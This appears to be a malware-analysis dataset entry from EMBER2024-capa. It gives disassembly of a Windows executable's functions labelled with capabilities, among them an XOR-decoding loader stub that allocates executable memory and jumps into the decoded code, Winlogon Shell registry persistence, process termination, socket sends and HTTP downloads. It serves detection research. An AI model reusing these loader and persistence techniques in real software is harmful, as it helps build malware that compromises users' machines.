joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40596d
pop dword [ebp - 0x24]
mov eax, 0x80894753
add eax, 0x7fb7121a
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xa33fdb0d
sub dword [ebp - 0x34], 0x54ed95c2
mov dword [ebp - 0x30], 0x4f4412
sub dword [ebp - 0x30], 0xce1bf7cd
mov dword [ebp - 0x2c], 0xc759baf6
add dword [ebp - 0x2c], 0x84f28938
mov dword [ebp - 0x28], 0xb5739ec9
add dword [ebp - 0x28], 0x4a8c6137
lea eax, [ebp - 0x34]
push eax
mov eax, 0xace43110
add eax, 0x535c3f50
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xdb0aee48
sub dword [ebp - 0x34], 0x669884f2
mov dword [ebp - 0x30], 0x14db9bb5
sub dword [ebp - 0x30], 0xd36f3a40
mov dword [ebp - 0x2c], 0xc17fe50e
sub dword [ebp - 0x2c], 0x5e1078a2
mov dword [ebp - 0x28], 0x5c8d8b7d
add dword [ebp - 0x28], 0xa3727483
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xd8678ca6
sub eax, 0xd8271ba6
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3688f
push 0
call eax
mov ecx, 0x484aafb9
add ecx, 0xb7b5978d
xor edi, edi
add edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x24]
mov esi, 0x63e63682
add esi, 0x830022b2
xor dword [ebp - 8], esi
mov edx, dword [ebx]
sub dword [ebp - 4], 0xb0786c3d
sub edx, esi
add dword [ebp - 8], eax
mov dword [edi], edx
add dword [ebp - 0x14], 0x68f9c089
add edi, 0x4bcae6b7
add edi, 0xb435194d
add ebx, 4
loop 0x405a8b
add eax, 0x10feb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5e8e5d36
add ecx, 0xa1b1a2ca
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403e59
pop dword [ebp - 0x1c]
mov eax, 0x403e59
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x6e4c0da
add dword [ebp - 0x2c], 0x476d8471
mov dword [ebp - 0x28], 0x62496dce
add dword [ebp - 0x28], 0xcfe9de77
mov dword [ebp - 0x24], 0xa7bc7770
add dword [ebp - 0x24], 0xa48fccbe
mov dword [ebp - 0x20], 0x386921de
add dword [ebp - 0x20], 0xc796de22
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x249e1af4
sub eax, 0x245d9a68
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x79005c50
add dword [ebp - 0x2c], 0xfb720d06
mov dword [ebp - 0x28], 0xbec63371
add dword [ebp - 0x28], 0x82a62e04
mov dword [ebp - 0x24], 0x54c063bc
add dword [ebp - 0x24], 0xeaf08b0
mov dword [ebp - 0x20], 0xe9b66d75
add dword [ebp - 0x20], 0x1649928b
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x334c1
push 0
call eax
mov ecx, 0x7096ba3a
sub ecx, 0x70968007
xor edx, edx
add edx, eax
mov esi, 0x411000
add esi, dword [ebp - 0x1c]
mov ebx, 0x560360b8
add dword [ebp - 4], edi
mov edi, dword [esi]
add dword [ebp - 4], esi
xor edi, ebx
add dword [ebp - 0xc], 0x60f3e283
mov dword [edx], edi
sub dword [ebp - 0x10], esi
add edx, 0x6ea961db
sub edx, 0x6ea961d7
add esi, 0x67828c6c
sub esi, 0x67828c68
loop 0x403f67
add eax, 0xdb9f
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x4025fb
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x85c
mov eax, dword [0x40e2c0]
push esi
push edi
mov esi, ecx
push 0x49
xor edx, edx
pop ecx
mov dword [ebp + 0x74], eax
xor eax, eax
mov dword [ebp - 0xb4], edx
lea edi, [ebp - 0xb0]
rep stosd dword es:[edi], eax
push edx
mov dword [ebp - 0x3d8], edx
mov ecx, 0x88
lea edi, [ebp - 0x3d4]
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 0x7dc], eax
jne 0x402654
xor eax, eax
jmp 0x40282f
lea ecx, [ebp - 0xb4]
push ecx
push eax
mov dword [ebp - 0xb4], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40281f
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x410b74]
cmp dword [eax + 0x34], 2
je 0x4026a6
push 0x224
lea eax, [ebp - 0x3d8]
push eax
push dword [ebp - 0xa4]
push dword [ebp - 0xac]
call fcn.0040283e
add esp, 0x10
jmp 0x4026ca
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x3b8]
push eax
call edi
lea eax, [ebp - 0x2b8]
push 0x40c098
push eax
call edi
xor eax, eax
add esp, 0x10
inc eax
test eax, eax
je 0x402800
push dword [ebp - 0xac]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push eax
mov dword [ebp - 0x7e0], eax
call dword [sym.imp.KERNEL32.DLL_GetPriorityClass]
push dword [ebp - 0x7e0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x6d8]
push eax
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00403fe8
lea eax, [ebp - 0x6d8]
push eax
lea eax, [ebp - 0x1b4]
push eax
push str._s_s
push eax
call edi
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x5d8]
push eax
call edi
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x4d8]
push eax
call edi
lea eax, [ebp - 0x5d8]
push eax
call fcn.004039ac
lea eax, [ebp - 0x4d8]
push eax
call fcn.004039ac
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x5d8]
push eax
call fcn.004038c1
add esp, 0x44
test eax, eax
je 0x4027b1
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x3b8]
push eax
call edi
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x2b8]
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x3b8]
push eax
mov eax, dword [esi]
add eax, ebx
push eax
call edi
mov ecx, dword [ebp - 0xac]
inc eax
add dword [esi], eax
mov eax, dword [esi]
mov dword [eax + ebx], ecx
add dword [esi], 4
mov eax, dword [esi]
mov ecx, dword [ebp - 0x98]
mov dword [eax + ebx], ecx
add dword [esi], 4
mov eax, dword [esi]
mov ecx, dword [ebp - 0xa0]
mov dword [eax + ebx], ecx
add dword [esi], 4
mov eax, dword [esi]
lea ecx, [ebp - 0x2b8]
push ecx
add eax, ebx
push eax
call edi
add esp, 0x10
inc eax
add dword [esi], eax
lea eax, [ebp - 0xb4]
push eax
push dword [ebp - 0x7dc]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x402679
xor esi, esi
inc esi
jmp 0x402821
xor esi, esi
push dword [ebp - 0x7dc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
mov ecx, dword [ebp + 0x74]
pop edi
pop esi
call fcn.004053fe
add ebp, 0x78
leave
ret
Function at 0x40283e
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x40e2c0]
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 4], eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x228], ebx
mov ecx, 0x88
lea edi, [ebp - 0x224]
push 8
rep stosd dword es:[edi], eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x40287e
xor eax, eax
jmp 0x4028d0
lea eax, [ebp - 0x228]
push eax
push esi
mov dword [ebp - 0x228], 0x224
call sub.KERNEL32.DLL_Module32First
jmp 0x4028af
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp + 0xc]
lea eax, [ebp - 0x228]
je 0x4028b5
push eax
push esi
call sub.KERNEL32.DLL_Module32Next
test eax, eax
jne 0x402897
jmp 0x4028c7
push dword [ebp + 0x14]
push eax
push dword [ebp + 0x10]
call fcn.00403b50
xor ebx, ebx
add esp, 0xc
inc ebx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.004053fe
leave
ret
Function at 0x402e9a
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push dword [ebp + 8]
call fcn.00403a90
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push str.Shell
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x40305f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor bl, bl
xor dl, dl
test edi, edi
mov esi, eax
je 0x403096
mov cl, byte [esi]
xor cl, dl
mov al, cl
shr al, 4
xor al, cl
mov cl, al
shr cl, 3
mov dl, al
shl dl, 4
xor cl, dl
xor cl, bl
mov dl, cl
mov cl, al
shl cl, 5
xor cl, al
inc esi
dec edi
mov bl, cl
jne 0x40306e
movsx ax, bl
movsx cx, dl
pop edi
pop esi
pop ebx
shl eax, 8
add eax, ecx
ret

Function at 0x4030a7
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, eax
lea esi, [edi + 9]
cmp esi, 9
jle 0x403125
cmp esi, 0x1000
jg 0x403125
mov eax, dword [0x410b7c]
push ebx
push edi
push dword [esp + 0x14]
mov byte [eax], 0x24
mov byte [eax + 1], 0x24
mov byte [eax + 2], 0x24
mov word [eax + 3], si
add eax, 5
push eax
call fcn.00403b50
mov eax, dword [0x410b7c]
push 0xffff
add edi, eax
call fcn.0040312b
mov ebx, dword [0x410b7c]
mov word [edi + 5], ax
add esp, 0x10
lea ecx, [esi - 2]
mov eax, ebx
call fcn.0040305f
push 0
push esi
push ebx
push dword [0x410a48]
mov word [edi + 7], ax
call sub.WS2_32.dll_send
cmp eax, esi
pop ebx
je 0x403128
pop edi
pop esi
jmp 0x403802
or eax, 0xffffffff
pop edi
pop esi
ret
jmp dword [sym.imp.WS2_32.dll_WSAGetLastError]

Function at 0x40313f
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], 7
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
leave
ret

Function at 0x403158
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, 0x1000
push edi
call fcn.00403a80
pop ecx
xor esi, esi
push esi
push esi
push esi
push esi
push str.Microsoft_Internet_Explorer
mov dword [ebp - 4], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x4031b1
push esi
push 0xa0000400
push esi
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, esi
je 0x4031b4
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x4031b4
mov ebx, dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 8]
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40343d
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x40e2c0]
push ebx
push esi
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x220]
push eax
xor esi, esi
push 0x104
mov dword [ebp - 0x224], esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push dword [ebp + 0xc]
push 0xffff
call fcn.0040312b
pop ecx
push eax
push 0x40bec0
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
push esi
push 0x80
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004041e1
mov edi, eax
cmp edi, 0xffffffff
jmp 0x4034e7
push esi
lea eax, [ebp - 0x224]
push eax
push 0x118
lea eax, [ebp - 0x11c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
lea eax, [ebp - 0x11c]
push eax
push edi
call fcn.004042bb
cmp eax, 0xffffffff
pop ecx
pop ecx
jne 0x4034bc
push edi
call fcn.0040415e
pop ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
pop ebx
call fcn.004053fe
leave
ret

Function at 0x403512
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
push edi
push dword [esp + 8]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
je 0x40356a
push esi
push dword [esp + 0xc]
push 0x40356e
call dword [sym.imp.USER32.dll_EnumWindows]
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x40355d
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov esi, eax
neg esi
sbb esi, esi
and esi, 2
jmp 0x403560
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop esi
pop edi
ret 8

Function at 0x40359d
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x40e2c0]
mov dword [ebp - 4], eax
push 0x28
lea eax, [ebp - 0x2c]
push eax
call sub.WS2_32.dll_gethostname
test eax, eax
je 0x4035c4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
jmp 0x4035f0
push 0x40c098
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x4035c0
lea eax, [ebp - 0x2c]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4035c0
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.WS2_32.dll_inet_ntoa
mov ecx, dword [ebp - 4]
call fcn.004053fe
leave
ret
Function at 0x40449d
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x40b288
call fcn.00406064
mov edi, 0x94
mov eax, edi
call fcn.004061c0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40f620], ecx
mov eax, dword [esi + 4]
mov dword [0x40f62c], eax
mov edx, dword [esi + 8]
mov dword [0x40f630], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40f624], esi
cmp ecx, 2
je 0x4044fd
or esi, 0x8000
mov dword [0x40f624], esi
shl eax, 8
add eax, edx
mov dword [0x40f628], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x404538
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404538
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x404550
cmp eax, 0x20b
je 0x40453d
mov dword [ebp - 0x1c], esi
jmp 0x404564
cmp dword [ecx + 0x84], 0xe
jbe 0x404538
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40455e
cmp dword [ecx + 0x74], 0xe
jbe 0x404538
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00406012
pop ecx
test eax, eax
jne 0x404590
cmp dword [0x40f608], 1
jne 0x40457d
call fcn.004057c7
push 0x1c
call fcn.00405650
push 0xff
call fcn.00405124
pop ecx
pop ecx
call fcn.00405f70
mov dword [ebp - 4], esi
call fcn.00405dc5
test eax, eax
jge 0x4045a9
push 0x1b
call fcn.00404478
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x411f60], eax
call fcn.00405ca3
mov dword [0x40f600], eax
call fcn.00405c01
test eax, eax
jge 0x4045cf
push 8
call fcn.00404478
pop ecx
call fcn.004059ce
test eax, eax
jge 0x4045e0
push 9
call fcn.00404478
pop ecx
push 1
call fcn.00405154
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x4045f6
push eax
call fcn.00404478
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.00405971
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x404617
movzx eax, word [ebp - 0x40]
jmp 0x40461a
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call section..text
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x404638
push edi
call fcn.0040527f
call fcn.004052a1
jmp 0x40466a
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0040609f
ret
Function at 0x4051be
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x40f660], esi
push edi
jne 0x4051de
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x40f65c], esi
mov byte [0x40f658], al
jne 0x405244
mov ecx, dword [0x411d28]
test ecx, ecx
je 0x405225
mov eax, dword [0x411d24]
sub eax, 4
cmp eax, ecx
jmp 0x40521e
mov eax, dword [eax]
test eax, eax
je 0x405210
call eax
mov eax, dword [0x411d24]
sub eax, 4
cmp eax, dword [0x411d28]
mov dword [0x411d24], eax
jae 0x405208
mov eax, 0x40e02c
mov esi, 0x40e034
cmp eax, esi
mov edi, eax
jae 0x405244
mov eax, dword [edi]
test eax, eax
je 0x40523d
call eax
add edi, 4
cmp edi, esi
jb 0x405235
mov eax, 0x40e038
mov esi, 0x40e03c
cmp eax, esi
mov edi, eax
jae 0x405263
mov eax, dword [edi]
test eax, eax
je 0x40525c
call eax
add edi, 4
cmp edi, esi
jb 0x405254
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x40527d
push dword [ebp + 8]
mov dword [0x40f660], 1
call fcn.00405124
pop ebp
ret

Function at 0x405650
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x40e2c0]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x40e2d0]
je 0x405685
inc eax
cmp eax, 0x13
jb 0x405676
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x40e2d0]
jne 0x4057ab
mov eax, dword [0x40f608]
cmp eax, 1
je 0x405783
cmp eax, edx
jne 0x4056b5
cmp dword [0x40e048], 1
je 0x405783
cmp ecx, 0xfc
je 0x4057ab
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x4056eb
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.00403ef0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00403a90
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40571f
mov eax, edi
push eax
call fcn.00403a90
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b6d0
push edi
call fcn.004054e0
add esp, 0x10
push edi
call fcn.00403a90
push dword [esi + 0x40e2d4]
mov ebx, eax
call fcn.00403a90
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.004061c0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00403ef0
push edi
push ebx
call fcn.00403f00
push 0x40b6b0
push ebx
call fcn.00403f00
push dword [esi + 0x40e2d4]
push ebx
call fcn.00403f00
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00407b9e
add esp, 0x2c
jmp 0x4057ab
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40e2d4]
push dword [esi]
call fcn.00403a90
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.004053fe
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x4065c3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.004061c0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x40665e
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40f620]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40665e
cmp eax, 1
je 0x40667f
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x40665e
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40662b
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40665a
xor eax, eax
inc eax
jmp 0x40669e
cmp edi, eax
jae 0x406662
xor eax, eax
jmp 0x40669e
cmp eax, esi
jae 0x406669
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [0x40f620]
jmp 0x406682
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407b9e
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40f864], ebx
push esi
push edi
jne 0x407c1e
push str.user32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x407c59
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x40f864], eax
je 0x407c59
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40f868], eax
call esi
cmp dword [0x40f620], 2
mov dword [0x40f86c], eax
jne 0x407c1e
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40f874], eax
je 0x407c1e
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40f870], eax
mov eax, dword [0x40f870]
test eax, eax
je 0x407c63
call eax
test eax, eax
je 0x407c4a
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40f874]
test eax, eax
je 0x407c4a
test byte [ebp - 8], 1
jne 0x407c63
cmp dword [0x40f62c], 4
jb 0x407c5d
or byte [ebp + 0x12], 0x20
jmp 0x407c82
xor eax, eax
jmp 0x407c92
or byte [ebp + 0x12], 4
jmp 0x407c82
mov eax, dword [0x40f868]
test eax, eax
je 0x407c82
call eax
mov ebx, eax
test ebx, ebx
je 0x407c82
mov eax, dword [0x40f86c]
test eax, eax
je 0x407c82
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40f864]
pop edi
pop esi
pop ebx
leave
ret